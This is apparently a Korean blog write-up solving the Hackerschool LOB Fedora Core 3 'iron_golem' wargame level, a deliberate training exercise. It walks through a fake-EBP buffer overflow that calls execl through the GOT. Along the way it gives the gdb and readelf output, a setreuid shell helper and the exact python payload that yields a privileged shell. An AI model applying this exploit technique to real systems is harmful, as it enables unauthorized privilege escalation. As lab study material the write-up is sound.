해커스쿨 LOB FC3 [gate -> iron_golem] 풀이
M4ndU
해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.
ID | gate
PW | gate
으로 로그인합니다.
를 이용해 어떤 파일과 폴더가 있는지 확인하고,
를 이용해 소스코드를 확인합니다.
[gate@Fedora_1stFloor ~]$ cat iron_golem.c
/*
The Lord of the BOF : The Fellowship of the BOF
- iron_golem
- Local BOF on Fedora Core 3
- hint : fake ebp
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
256바이트 크기의 buffer에 값을 저장한다.
이 버퍼를 오버플로우해서 쉘을 따면 된다.
그런데 페도라 코어 3에는 메모리 보호기법들이 있다.
Stack Dummy : O
Down privileage of bash : O
Random Stack : O
Random Library : X
Random Program Binary Mapped : X
ASCII Armor : O
Non-Executable Stack : O
Non-Executable Heap : O
Stack Carany : X
Stack Smashing Protector : X
이 것들을 고려해서 문제를 풀어야 한다.
hint에 fake ebp를 사용하라고 되어 있다.
execl함수를 사용하면 된다.
sfp에 execl의 매개변수의 주소를 넣어주고, ret에 execl함수주소를 넣어주는 형태가 될 것이다.
매개변수는 got영역을 이용한다.
gdb로 버퍼 구조를 살펴보자
[gate@Fedora_1stFloor ~]$ gdb iron_golem -q
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483d0 <main+0>: push ebp
0x080483d1 <main+1>: mov ebp,esp
0x080483d3 <main+3>: sub esp,0x108
0x080483d9 <main+9>: and esp,0xfffffff0
0x080483dc <main+12>: mov eax,0x0
0x080483e1 <main+17>: add eax,0xf
0x080483e4 <main+20>: add eax,0xf
0x080483e7 <main+23>: shr eax,0x4
0x080483ea <main+26>: shl eax,0x4
0x080483ed <main+29>: sub esp,eax
0x080483ef <main+31>: cmp DWORD PTR [ebp+8],0x1
0x080483f3 <main+35>: jg 0x804840f <main+63>
0x080483f5 <main+37>: sub esp,0xc
0x080483f8 <main+40>: push 0x8048524
0x080483fd <main+45>: call 0x80482f8 <_init+56>
0x08048402 <main+50>: add esp,0x10
0x08048405 <main+53>: sub esp,0xc
0x08048408 <main+56>: push 0x0
0x0804840a <main+58>: call 0x8048308 <_init+72>
0x0804840f <main+63>: sub esp,0x8
0x08048412 <main+66>: mov eax,DWORD PTR [ebp+12]
0x08048415 <main+69>: add eax,0x4
0x08048418 <main+72>: push DWORD PTR [eax]
0x0804841a <main+74>: lea eax,[ebp-264]
0x08048420 <main+80>: push eax
0x08048421 <main+81>: call 0x8048318 <_init+88>
0x08048426 <main+86>: add esp,0x10
0x08048429 <main+89>: sub esp,0x8
0x0804842c <main+92>: lea eax,[ebp-264]
0x08048432 <main+98>: push eax
0x08048433 <main+99>: push 0x8048530
0x08048438 <main+104>: call 0x80482f8 <_init+56>
0x0804843d <main+109>: add esp,0x10
0x08048440 <main+112>: leave
0x08048441 <main+113>: ret
End of assembler dump.
*main+3에서 \x108만큼 스택을 할당해준다. 이는 264바이트인데 위에서 256바이트를 선언했으므로 8바이트크기의 더미가 있음을 알 수 있다.
낮은 주소
buffer[256]
dummy[8]
SFP[4]
RET[4]
높은 주소
이런 구조로 있을 것이다.
페이로드에 264바이트의 더미를 넣어주어야 한다.
이제 got주소를 구해보자
[gate@Fedora_1stFloor ~]$ readelf -S iron_golem
There are 28 section headers, starting at offset 0x840:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4
[ 3] .hash HASH 08048148 000148 000034 04 A 4 0 4
[ 4] .dynsym DYNSYM 0804817c 00017c 000080 10 A 5 1 4
[ 5] .dynstr STRTAB 080481fc 0001fc 00006c 00 A 0 0 1
[ 6] .gnu.version VERSYM 08048268 000268 000010 02 A 4 0 2
[ 7] .gnu.version_r VERNEED 08048278 000278 000020 00 A 5 1 4
[ 8] .rel.dyn REL 08048298 000298 000008 08 A 4 0 4
[ 9] .rel.plt REL 080482a0 0002a0 000020 08 A 4 11 4
[10] .init PROGBITS 080482c0 0002c0 000017 00 AX 0 0 4
[11] .plt PROGBITS 080482d8 0002d8 000050 04 AX 0 0 4
[12] .text PROGBITS 08048328 000328 0001d8 00 AX 0 0 4
[13] .fini PROGBITS 08048500 000500 00001a 00 AX 0 0 4
[14] .rodata PROGBITS 0804851c 00051c 000018 00 A 0 0 4
[15] .eh_frame PROGBITS 08048534 000534 000004 00 A 0 0 4
[16] .ctors PROGBITS 08049538 000538 000008 00 WA 0 0 4
[17] .dtors PROGBITS 08049540 000540 000008 00 WA 0 0 4
[18] .jcr PROGBITS 08049548 000548 000004 00 WA 0 0 4
[19] .dynamic DYNAMIC 0804954c 00054c 0000c8 08 WA 5 0 4
[20] .got PROGBITS 08049614 000614 000004 04 WA 0 0 4
[21] .got.plt PROGBITS 08049618 000618 00001c 04 WA 0 0 4
[22] .data PROGBITS 08049634 000634 00000c 00 WA 0 0 4
[23] .bss NOBITS 08049640 000640 000004 00 WA 0 0 4
[24] .comment PROGBITS 00000000 000640 000126 00 0 0 1
[25] .shstrtab STRTAB 00000000 000766 0000d7 00 0 0 1
[26] .symtab SYMTAB 00000000 000ca0 000480 10 27 44 4
[27] .strtab STRTAB 00000000 001120 00025e 00 0 0 1
got 주소는 0x08049618이다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) x/8wx 0x08049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>: 0x0804954c 0x007194f8 0x0070e9e00x00730d50
0x8049628 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482fe 0x0804830e 0x0804831e0x00000000
(gdb) x/wx 0x0804954c
0x804954c <_DYNAMIC>: 0x00000001
got의 시작주소가 0x00000001를 가리키고 있다.
값이 간단하기 때문에 이 값을 쉘코드 파일의 이름으로 한다.
그리고 sfp에는 0x08049618 가 아니라 이 값에서 -8을 한 0x08049610 값을 넣는다.
그 이유는 execl함수가 실행되고 ebp+8에 있는 값이 첫번째 인자로 넘어가기 때문이다.
[gate@Fedora_1stFloor ~]$ vi sh.c
[gate@Fedora_1stFloor ~]$ cat sh.c
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
system("/bin/sh");
}
권한 상승후 쉘을 띄우는 코드를 짠다.
그 후 \x01이름으로 컴파일 한다.
[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c
이제 execl함수의 주소를 구해보자
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
(gdb) x/8i 0x7a5720
0x7a5720 <execl>: push ebp
0x7a5721 <execl+1>: mov ebp,esp
0x7a5723 <execl+3>: lea ecx,[ebp+16]
0x7a5726 <execl+6>: push edi
0x7a5727 <execl+7>: push esi
0x7a5728 <execl+8>: push ebx
0x7a5729 <execl+9>: sub esp,0x1038
0x7a572f <execl+15>: mov eax,DWORD PTR [ebp+12]
execl의 주소인 0x7a5720이 ret에 들어간다.
그러나 매개변수를 넘겨주기 위해 ebp를 변조했기 때문에 ebp의 값을 바꾸는 '함수의 프롤로그' 과정을 생략한 0x7a5723이 들어가야 한다.
이제 정확한 페이로드를 구성해 보자
dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)
[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz
sh-3.00$ my-pass
euid = 501
blood on the fedora
sh-3.00$
클리어!